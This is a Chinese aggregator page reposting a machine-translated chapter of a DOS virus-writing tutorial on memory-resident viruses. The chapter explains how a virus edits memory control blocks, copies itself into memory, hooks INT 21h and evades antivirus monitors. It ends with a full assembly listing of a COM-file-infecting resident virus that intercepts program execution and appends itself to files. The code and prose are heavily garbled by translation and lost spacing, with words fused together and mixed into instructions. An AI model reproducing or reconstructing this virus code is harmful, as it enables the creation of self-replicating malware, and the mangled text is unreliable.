看雪学院app(看雪学院 2010 新年大礼包),本文通过数据整理汇集了看雪学院app(看雪学院 2010 新年大礼包)相关信息,下面一起看看。

Billy Belceb病毒编写教程(DOS)-常驻内存病毒的观雪数据发表于观雪数据2015年11月15日16: 177205【更多酷派病毒:常驻病毒】~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ %什么是常驻内存程序?% ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~好,首先我给大家介绍一下相反的情况:)当我们执行一个非驻留内存程序(比如edit这样的普通程序)时,DOS会给它分配一定的内存,但是当程序终止时这个内存会被重新分配(使用INT20h,然而当执行一个内存中的程序时, 和一般程序一样,只是程序终止时会在内存中留下一段程序,不会重新分配。 常驻内存的程序(也叫TSR=TerminateandStayResident)通常自己编写代码,而不是一些中断来执行它们设计的任务。TSR程序有什么用?我们可以用它来破解(窃取密码)和制作我们自己的酷工具.当然,这些都取决于你的想象力。当然,我也没有忘记.编写常驻内存程序:)% TSR病毒会做什么?% ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ TSR并不是调用驻留在内存中的病毒的最佳方式。假设你正在执行一个程序,它返回到DOS。不,我们不能终止它并保留常驻记忆。用户会注意到有问题。我们要返回并保留常驻内存:)TSR只是一个缩写(不要用错了,这个我要补充一下)。内存驻留病毒可以为我们提供一个新的世界。我们可以编写可以感染更多程序的病毒,这样更安全.当检测到试图打开/读取文件时,我们可以杀死文件(想象一下检查反病毒工具不会发现什么),我们可以通过挂钩反病毒工具要使用的功能来欺骗它们,我们可以减去病毒的大小来逃过外行人(当然包括专家)的眼睛。-从这里切入-这个程序会检查它是否已经在内存中,如果已经在内存中,它会告诉我们;显示信息。如果没有,它将驻留在内存中并显示另一条消息。 model tiny . codeorg 100h start:jmpfucknewint 21:cmpax,0ACDChAreusercaliingourfunction?jeis _ check如果是,answerthecalljmpdwordptrcs:[old int 21];elsejumptooriginalint 21 is _ check:movax,0DEADhWeansweritiretandmakeaninterruptreturn:)old int 21 labeldwordint 21 _ off dw 0000 hint 21 _ segdw 0000h fuck:movax,0ACDChResidencecheckint21h当然是发明的功能;)cmpax,0DEADh我们在哪里?jestupid _ yes如果是,showmessage2movax,3521h如果不是,wegoandinstallint21hfunction健忘int 21 hvectorsmovswordptrcs:[int 21 _ off],bx;westoreoffsetatoldint 21 0 movwordptrcs:[int 21 _ seg],es;Westoresegmentatoldint21 2movax,2521hfunctionforputnewint 21 handler movdx,offsetnewint21where isitlocatedin 21 HMO VAX,0900hShowmessage1movdx,offsetmsg_installedint21hmovdx,offset fuck 1;make residentfromoffset 0 until int 27h;offsetindxusingint27hthislwilalsterminateprogram g stupid _ yes:movax,0900hShowmessage2movdx,offsetmsg _ alreadyint21hint20htermin ate program . msg _ installed db ' stupidresidentnotinstalled . installing.$ ' msg _ already db ' stupidresidentisaliveandkickingyourass!$ ' endstart-切到这里- INT27h,当一个程序放入内存时,会终止当前程序。将代码放在内存中,使用INT20h或任何其他方法来终止当前程序的执行。

因此.我们应该用什么来写一个病毒?%TSR病毒算法%我们可以遵循以下步骤(模仿在病毒编写中是非常好的.): 1.检查程序是否有内存(有,跳到5;否,继续)2。打开我们需要的记忆。3.将病毒体复制到内存中。4.获取中断向量,保存它们并用我们的替换它们。5.恢复目标文件。6.返回控制权%常驻内存检测% ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~当我们编写常驻内存程序时,至少要检查一次,看看我们的程序是否已经安装。通常,它是一个创建函数。当我们调用它时,这个函数返回给我们一个确定的值(当然,这个值是我们选择的),或者如果它没有常驻内存,它就使AL=00。我们来看一个例子:movax,0b0b0Hint21HCMPAX,0 ccacaahready _ installed[.]如果它已经驻留在内存中,我们将恢复被感染的文件,并将控制权交还给原始程序。如果没有常驻内存,我们就放在内存里。INT21h将对病毒进行如下处理:int21Handler: cmpax,0b0b0hje install _ check [.] db0eaholdint21: dw0,0enstall _ check: movax,0ccacahiret%分配内存修改MCB % ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~实现这个目的有两种方法:使用DOS和直接实现。看到每一种方法都那么痛苦,我们来看看MCB是什么。内存控制模块(MCB)是由DOS建立的每个程序使用的控制块。这个模块的长度是一个段(16字节),总是在分配内存之前分配。啊!这个数总是能被16整除。如果是COM文件,我们可以用程序的代码段减1(CS-1)得到MCB的位置,如果是EXE文件,我们可以用DS(记住,在EXE文件中,CS DS)。可以在结构章节查看MCB的结构(上一章我们已经看了)。利用DOS修改MCB:在我写的第一个病毒AntichristSuperstar中,我使用的方法简单有效。首先我们要求DOS对所有内存使用INT21h的4Ah函数(BX=FFFFh),这是一个很难达到的值。通过这个函数,我们会看到我们申请了太多的内存,所以我们会得到所有我们可以在BX使用的内存。所以我们从这个值中减去段数((size 15)/16) 1,再次调用4Ah函数。现在是时候从我们想要的内存量中减去空闲内存了。我们可以用' subwordprds:[2],(size 15)/16 1 ',然后用BX基于段的码长来调用DOS的48h函数。这将把展开的块的段返回给AX,所以我们把它放在ES中,把AX减1,把新值赋给DS。现在DS里有了MCB,就该我们操作了。我们必须分配DS:[0]字节“Z”或“M”(根据您的需要,参见MCB结构)。在DS:[1]中,是0008这个字,为了告诉DOS这个块是自己的,然后就不会覆盖了。Arf,Arf.这么长的理论,有些代码会多好。下面的代码会根据你的需求配置MCB:movax,4a00hherewerequestforanimyposiblemovbx,0FFFFhamountoffreememoryint21hmovax,4A00h和结果摘要the virussizeinsubx,(virus _ size 15)/16 1;parastotheactualamountofmemint 21h;(inBX)andrequestforspace.movax,4800hnowwemakedossubstratct 2 dafreesubwordprds:[2],(virus _ size 15)/16 1;memorywhatweneedinmovbx,(virus _ size 15)/16;paragraphsint21hmoves,ax;InAXwegetthesegmentofourdecaxmemory block(not tcareifexemovds,ax;orCOM)、weputinES和andinDS(substrated by1)movbyteptrds:[0],' Z ';wemarkitaslastblockmovwordptrds:[1],08hWesayDOStheblockisofitsown非常简单有效.但是,这只是操作内存,并不能把你的代码移入内存。很简单,不过以后再说。直接修改MCB:这种方法基本相同,只是达到我们目的的方式不同。让这种方法更好的是这种方法的使用:一个TSR病毒查杀监控器不会知道任何内存操作,因为我们不使用任何中断:)我们做的第一件事就是把DS赋给AX(因为我们不能用segments做任何事情),我们把它减1,然后赋给DS。

现在DS指向MCB。如果你记得MCB的结构,在偏移地址3,我们会得到当前内存的段数。所以我们需要从这个值中减去我们打算使用的内存量。我们将使用BX(为什么不呢?如果看过去的介绍,我们会记得MCB比PSP高16个字节。的所有PSP偏移地址应后移16(10h)字节。我们需要改变TOM的值,在PSP的偏移地址2,但是现在我们不会指向PSP,我们会指向MCB。我们能做什么?我们用偏移地址12h(2 ^ 16=18=12h)代替偏移地址2。让我们从中减去所需内存的段数(记住,病毒的大小是15除以16)。这个偏移地址的新值是我们程序的一个新段,我们将在一个新段中使用它。我们打算使用附加段。但是我们可以对ES和这个位置进行mov操作(也就是分段操作的极限)。我们必须使用临时寄存器。AX是最好的。现在我们标记ES:[0]'Z '(之前我们把DS当作段寄存器),ES:[1]8。介绍完这些总是让人讨厌的理论,下面是代码:movax,ds;DS=PSPdecaxWeuseAXastemporalregistermovds,ax;DS=MCBmovbx,wordprds:[03h];WeputinBXtheamountofmemorysubbx,((virus _ size 15)/16)1;和thenweputinbxbforchangemovwordptrds:[03h],bx;weputitinitsinorialplacemovbyeptrds:[0],' M ';markasnotlastblocksubordptrds:[12h],((virus _ size 15)/16)1;子病毒大小;toTOMsizemovax,wordprds:[12h];nooffset 12 hhandlesthenewseg . moves,ax;andweneedaxforputitinesmovbytepres:[0],' Z ';markaslastblockmovwordptres:[1],0008hMarksasowner%将病毒放入内存% ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~这是将病毒写入内存的最简单的方法。如果你知道我们可以用指令MOVSB(当然还有MOVSW,MOVSD.),那你就知道有多简单了。我们要做的是确定移动什么,移动多少数据。很简单。可以想象,要移动的数据的开始总是等于偏移地址的变化。如果我们已经将偏移地址的变化赋给了BP,那么我们所要做的就是将BP的内容赋给SI,将病毒的大小以字节为单位赋给CX(如果我们想用MOVSW,就用字)。记住di必须是0,使用xordi,DI就够了(一种优化方法,使指令movdi,0)。让我们看看代码.pushcsAdjustsegmentspopdsCS=DSxordi,di;DI=0(TopOfMemory)movsi,BP;SI=offsetvirus_startmovcx,virus _ sizeCX=virus _ sizerepmovsb;MovytesFromds:Sitoes:di % hooking interrupts % ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~把我们的病毒移入内存后,我们需要对它进行修改,使它至少可以感染其他文件。在所有驻留内存病毒中,通常是INT21h,但是在一个启动扇区病毒(或者是分成多个部分,同时也感染软盘和MBR的病毒)中,我们必须要钩住INT13h。我们想要挂钩的中断取决于我们的需求。挂钩中断有两种方法:使用DOS或检测挂钩。写我们的处理程序的时候,一定要强调几件事:第一,在启动处理程序之前,一定要用push栈保存所有的寄存器值(标志也要保存),当我们要把控制权还给原程序的时候,就要把它们全部推出栈。其次,一定要记住,千万不要使用已经被我们钩住的中断,否则会陷入死循环。假设我们已经挂接了INT21h的3Dh函数(文件打开),我们调用这个挂接的函数(或者我们自己的另一个中断处理程序).电脑会挂机。所以我们应该如下调用int 21h:callint 21h:pushcalldwords:[old int 21]iret。我们还可以做另一件事。我们可以重定向另一个中断,指向旧的INT21h。一个不错的选择似乎是INT03h:这是一个很好的反调试招数,让我们的代码变小了(INT03h的代码是CCh,只有一个字节,而普通中断的代码是CDhXX,XX是我们中断号的十六进制数),我们忘记了调用挂钩函数的所有问题。

当我们想把控制权交给原来的INT21h时,最好恢复所有重定向到INT21h的挂钩中断。用DOS钩子中断:在放入我们自己的向量之前,我们必须得到原始中断的向量。这可以通过使用INT21h的35h功能来实现。我们来看看这个函数的参数:AH=35hAL=中断号被调用后,会返回以下值:ax=preserve des=interrupthandlerGMentbx=interrupthandler offset调用这个函数后,我们将ES:BX保存在我们代码的一个变量中以备后用,并设置一个新的中断处理程序。我们要用的函数是INT21h的25h。给出了以下参数:ah=25 Hal=interrupt numbers=newhandlersegmentdx=newhandler offset。我们来看看用DOS实现中断钩子的例子:pushcsAdjustsegmentspopdsCS=DSmovax,3521hgetinterruptvectorfunctionint 21 hmovwordptr[int 21 _ off],bx;nowstoreviablesmovwordptr[int 21 _ seg],esmovah,25hPutnewinterruptleadx,offsetint21handlerSettonewhandlerint21h [.]old int 21 labeldwordint 21 _ off dw 000 hint 21 _ segdw 000h直接中断钩子:如果我们忘记了DOS,我们就赢了我曾经提到过的(在直接MCB修改中)。还记得中断向量表的结构吗?开始于0000:0000,结束于0000:0400h。以下是我们可以使用的所有中断,从INT00h到INTFFh。我们来看一些代码:xorax,ax;MakezeroAXmovds,ax;formake zerods(nowAX=DS=0)pushds;WennedtorestoreDSlaterldsdx,ds:[21h * 4];allinterruptsareinintnumber * 4 movwordptres:int 21 _ off,dx;where saveoffsetmovwordptres:int 21 _ seg,ds;' ' segmentpopdsRestoreDSmovwordptrds:[21h*4],offsetint21handlerTheHandlerMovwordptrds:[21h * 4 2],es%关于常驻内存的最后一次讨论%这并不是本教程的结束。我们仍然要讨论许多病毒。这些话题都将在接下来的讨论中看到,但我想你现在应该知道如何编写常驻内存病毒了。从现在到最后的所有讨论都是关于TSR病毒的。当然,如果我说他们中的一些人正在运行病毒,请不要尖叫!)这节课结束,我必须给出一个完整的常驻内存病毒。这里还想用g病毒,这是一种很差的感染COM的病毒。-从这里切入-这段代码和运行时病毒一样被注释。希望到了这里所有的问题都清楚了。

;病毒生成0.70作者黑暗天使属于法尔肯/斯基姆斯;汇编:tasm/m3刀片式服务器:连接:线型/tla名称。obj check RES 1=':')' check RES 2=';)' .模特泰尼。codeorg 0000 hsart:movbp,spint 0003 hntext:movbp,ss:[bp-6]subbp,offsetnextgetdeltaoffsetpushdspushesmovax,check RES 1;安装检查0021hcmpax,检查2;已经稳定下来了?jzdone_installmovax,dsdecaxmovds,axsubwordprds:[0003h],(end heap-start 15)/16 1 subwordprds:[0012h],(endheap-start 15)/16 1movax,ds:[0012h]movds,axincaxmoves,axmovbyeptrds:[0000h],' Z ' movwordprds:[001h],008 hmovwordprds:[003h],(end heap-start 11中字节移动,BP;李,[bp offsetstart]repmovswxorax,axmovds,axpushdsldsax,ds:[21h * 4];getldinandermodvwordptres:old int 21,axmovdwordptres:old int 21 2,dspopdsmdmovewordptrs:[21h * 4],offset int 21 replacewithnewhandlersmovds:[21小时*4 2],它;inhibernate _ install:pop dspesrer _ com:mocvdi,0100hwhere tomovedatapushdiinwhatoffsetwelltheregoleasi,[BP offset old 3];whatstomovemovsb移动3字节bytesmovswret返回100hold3db0cdh,20时,0 int 21:pushaxprushcushdxpushsipushdspushescmpax,4b 00h运行?jzexectors:jmpexiint 21 execute:moviwordptrcs:filename,dxmovewordptrcs:filename 2,dsmovax,4300hgetattributesforlaterestoreleldsdx,cs:filename int 0021 hjcreturnpushcxpushdspushdxmovax,4301hclearfileattributespushax:saveforlaterusexorcx,cxint 0021 hldsdx,cs:文件名;openileforread/writemovax,3d 02提示0021hxchgax,bxpushcadjustsegmentspopdspushcspopescs=ES=ds movax,5700小时;getfiletime/文件0021 hpushcxpushdxmovcx,001 ahread 1 ahbytesoffilemovdx,offsetreadbuffermovah,003Fhint0021hmovax,4202hmovefilepointertotheendxordx、dxxorcx、cxt 0021 hcmpwordptr[offsetreadbuffer],' zm ';伊西丝特?jzjmp _ closemovcx,word ptr[offsetreadbuffer 1];jmplocationaddcx,堆启动3;converttofilesizecmpaxequalifalredyinfeedjlskippjmp _ close:jmpclosskipp:cmpax,65535-(end heap-start);checkiftoolargejajmp _ closeexitifsomovdi,offset old 3;还原3 firstbytesmovsi、offsetreadbuffermovsbmovswssubax、0003 hmovwordptr[offsetreadbuffer 1]、axmovdl、00和9hmovbyteptr[offsetreadbuffer]、dlmovdx、offsetstartmovcx、堆启动变量、0040h串连病毒0021 hxorcx、cxxordx、dxmovax、4200hmovepointthebeginnininit 0021 HMO VDX,offsetreadbufferwritefirst 3 bytes mov CX,0003hmovah,0040提示0021 hcloses:movax,5701hrestoresiletime/datepopdxpop xint 0021 HMO vah,003 eh嗜铬细胞因子0021 hpopaxrestorefileattributespopdxgetfilename andpopdspopcxattribute sfromtacint 0021 hex iti 21:popespodspopopoppdxpopxpopxpopaxdp 00 eah;回到21dd?签名id b[PS/g],0堆:文件名?readbufferdb1ahdup(?)结束堆集:结束类型;-到这里为止剪切-对不住了,我知道我实在是太懒了。你也可以认为这是一种懒惰的态度,可能就是吧。但是只要想想在写这篇教程的时候我正在编写一些病毒和为滴滴涕杂志写文章,所以我就没有足够的时间来为这篇教程写我自己的病毒了。嗨,没有人因为这篇文章给我报酬,你知道吗?

这个网站是个人知识管理的网络存储空间。所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请一键举报。

更多看雪学院app(看雪学院 2010 新年大礼包)相关信息请关注本站,本文仅仅做为展示!